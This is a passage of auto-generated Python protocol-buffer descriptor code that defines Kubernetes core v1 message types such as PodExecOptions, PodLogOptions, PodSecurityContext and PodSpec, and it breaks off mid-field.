_descriptor.FieldDescriptor( name='requiredDuringSchedulingIgnoredDuringExecution', full_name='k8s.io.api.core.v1.PodAntiAffinity.requiredDuringSchedulingIgnoredDuringExecution', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='preferredDuringSchedulingIgnoredDuringExecution', full_name='k8s.io.api.core.v1.PodAntiAffinity.preferredDuringSchedulingIgnoredDuringExecution', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=22336, serialized_end=22548, ) _PODATTACHOPTIONS = _descriptor.Descriptor( name='PodAttachOptions', full_name='k8s.io.api.core.v1.PodAttachOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='stdin', full_name='k8s.io.api.core.v1.PodAttachOptions.stdin', index=0, number=1, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stdout', full_name='k8s.io.api.core.v1.PodAttachOptions.stdout', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stderr', full_name='k8s.io.api.core.v1.PodAttachOptions.stderr', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tty', full_name='k8s.io.api.core.v1.PodAttachOptions.tty', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='container', full_name='k8s.io.api.core.v1.PodAttachOptions.container', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=22550, serialized_end=22647, ) _PODCONDITION = _descriptor.Descriptor( name='PodCondition', full_name='k8s.io.api.core.v1.PodCondition', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.PodCondition.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.PodCondition.status', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastProbeTime', full_name='k8s.io.api.core.v1.PodCondition.lastProbeTime', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastTransitionTime', full_name='k8s.io.api.core.v1.PodCondition.lastTransitionTime', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.PodCondition.reason', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.PodCondition.message', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=22650, serialized_end=22866, ) _PODDNSCONFIG = _descriptor.Descriptor( name='PodDNSConfig', full_name='k8s.io.api.core.v1.PodDNSConfig', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='nameservers', full_name='k8s.io.api.core.v1.PodDNSConfig.nameservers', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='searches', full_name='k8s.io.api.core.v1.PodDNSConfig.searches', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='options', full_name='k8s.io.api.core.v1.PodDNSConfig.options', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=22868, serialized_end=22978, ) _PODDNSCONFIGOPTION = _descriptor.Descriptor( name='PodDNSConfigOption', full_name='k8s.io.api.core.v1.PodDNSConfigOption', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.PodDNSConfigOption.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.PodDNSConfigOption.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=22980, serialized_end=23029, ) _PODEXECOPTIONS = _descriptor.Descriptor( name='PodExecOptions', full_name='k8s.io.api.core.v1.PodExecOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='stdin', full_name='k8s.io.api.core.v1.PodExecOptions.stdin', index=0, number=1, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stdout', full_name='k8s.io.api.core.v1.PodExecOptions.stdout', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stderr', full_name='k8s.io.api.core.v1.PodExecOptions.stderr', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tty', full_name='k8s.io.api.core.v1.PodExecOptions.tty', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='container', full_name='k8s.io.api.core.v1.PodExecOptions.container', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='command', full_name='k8s.io.api.core.v1.PodExecOptions.command', index=5, number=6, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23031, serialized_end=23143, ) _PODIP = _descriptor.Descriptor( name='PodIP', full_name='k8s.io.api.core.v1.PodIP', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ip', full_name='k8s.io.api.core.v1.PodIP.ip', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23145, serialized_end=23164, ) _PODLIST = _descriptor.Descriptor( name='PodList', full_name='k8s.io.api.core.v1.PodList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PodList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.PodList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23166, serialized_end=23281, ) _PODLOGOPTIONS = _descriptor.Descriptor( name='PodLogOptions', full_name='k8s.io.api.core.v1.PodLogOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='container', full_name='k8s.io.api.core.v1.PodLogOptions.container', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='follow', full_name='k8s.io.api.core.v1.PodLogOptions.follow', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='previous', full_name='k8s.io.api.core.v1.PodLogOptions.previous', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sinceSeconds', full_name='k8s.io.api.core.v1.PodLogOptions.sinceSeconds', index=3, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sinceTime', full_name='k8s.io.api.core.v1.PodLogOptions.sinceTime', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='timestamps', full_name='k8s.io.api.core.v1.PodLogOptions.timestamps', index=5, number=6, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tailLines', full_name='k8s.io.api.core.v1.PodLogOptions.tailLines', index=6, number=7, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='limitBytes', full_name='k8s.io.api.core.v1.PodLogOptions.limitBytes', index=7, number=8, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='insecureSkipTLSVerifyBackend', full_name='k8s.io.api.core.v1.PodLogOptions.insecureSkipTLSVerifyBackend', index=8, number=9, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23284, serialized_end=23534, ) _PODOS = _descriptor.Descriptor( name='PodOS', full_name='k8s.io.api.core.v1.PodOS', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.PodOS.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23536, serialized_end=23557, ) _PODPORTFORWARDOPTIONS = _descriptor.Descriptor( name='PodPortForwardOptions', full_name='k8s.io.api.core.v1.PodPortForwardOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ports', full_name='k8s.io.api.core.v1.PodPortForwardOptions.ports', index=0, number=1, type=5, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23559, serialized_end=23597, ) _PODPROXYOPTIONS = _descriptor.Descriptor( name='PodProxyOptions', full_name='k8s.io.api.core.v1.PodProxyOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.PodProxyOptions.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23599, serialized_end=23630, ) _PODREADINESSGATE = _descriptor.Descriptor( name='PodReadinessGate', full_name='k8s.io.api.core.v1.PodReadinessGate', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='conditionType', full_name='k8s.io.api.core.v1.PodReadinessGate.conditionType', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23632, serialized_end=23673, ) _PODSECURITYCONTEXT = _descriptor.Descriptor( name='PodSecurityContext', full_name='k8s.io.api.core.v1.PodSecurityContext', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='seLinuxOptions', full_name='k8s.io.api.core.v1.PodSecurityContext.seLinuxOptions', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='windowsOptions', full_name='k8s.io.api.core.v1.PodSecurityContext.windowsOptions', index=1, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsUser', full_name='k8s.io.api.core.v1.PodSecurityContext.runAsUser', index=2, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsGroup', full_name='k8s.io.api.core.v1.PodSecurityContext.runAsGroup', index=3, number=6, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsNonRoot', full_name='k8s.io.api.core.v1.PodSecurityContext.runAsNonRoot', index=4, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='supplementalGroups', full_name='k8s.io.api.core.v1.PodSecurityContext.supplementalGroups', index=5, number=4, type=3, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsGroup', full_name='k8s.io.api.core.v1.PodSecurityContext.fsGroup', index=6, number=5, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sysctls', full_name='k8s.io.api.core.v1.PodSecurityContext.sysctls', index=7, number=7, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsGroupChangePolicy', full_name='k8s.io.api.core.v1.PodSecurityContext.fsGroupChangePolicy', index=8, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='seccompProfile', full_name='k8s.io.api.core.v1.PodSecurityContext.seccompProfile', index=9, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=23676, serialized_end=24071, ) _PODSIGNATURE = _descriptor.Descriptor( name='PodSignature', full_name='k8s.io.api.core.v1.PodSignature', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='podController', full_name='k8s.io.api.core.v1.PodSignature.podController', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=24073, serialized_end=24164, ) _PODSPEC_NODESELECTORENTRY = _descriptor.Descriptor( name='NodeSelectorEntry', full_name='k8s.io.api.core.v1.PodSpec.NodeSelectorEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.PodSpec.NodeSelectorEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.PodSpec.NodeSelectorEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=25567, serialized_end=25618, ) _PODSPEC_OVERHEADENTRY = _descriptor.Descriptor( name='OverheadEntry', full_name='k8s.io.api.core.v1.PodSpec.OverheadEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.PodSpec.OverheadEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.PodSpec.OverheadEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=25620, serialized_end=25715, ) _PODSPEC = _descriptor.Descriptor( name='PodSpec', full_name='k8s.io.api.core.v1.PodSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumes', full_name='k8s.io.api.core.v1.PodSpec.volumes', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='initContainers', full_name='k8s.io.api.core.v1.PodSpec.initContainers', index=1, number=20, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='containers', full_name='k8s.io.api.core.v1.PodSpec.containers', index=2, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ephemeralContainers', full_name='k8s.io.api.core.v1.PodSpec.ephemeralContainers', index=3, number=34, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='restartPolicy', full_name='k8s.io.api.core.v1.PodSpec.restartPolicy', index=4, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminationGracePeriodSeconds', full_name='k8s.io.api.core.v1.PodSpec.terminationGracePeriodSeconds', index=5, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='activeDeadlineSeconds', full_name='k8s.io.api.core.v1.PodSpec.activeDeadlineSeconds', index=6, number=5, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='dnsPolicy', full_name='k8s.io.api.core.v1.PodSpec.dnsPolicy', index=7, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodeSelector', full_name='k8s.io.api.core.v1.PodSpec.nodeSelector', index=8, number=7, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='serviceAccountName', full_name='k8s.io.api.core.v1.PodSpec.serviceAccountName', index=9, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='serviceAccount', full_name='k8s.io.api.core.v1.PodSpec.serviceAccount', index=10, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='automountServiceAccountToken', full_name='k8s.io.api.core.v1.PodSpec.automountServiceAccountToken', index=11, number=21, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodeName', full_name='k8s.io.api.core.v1.PodSpec.nodeName', index=12, number=10, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostNetwork', full_name='k8s.io.api.core.v1.PodSpec.hostNetwork', index=13, number=11, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostPID', full_name='k8s.io.api.core.v1.PodSpec.hostPID', index=14, number=12, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostIPC', 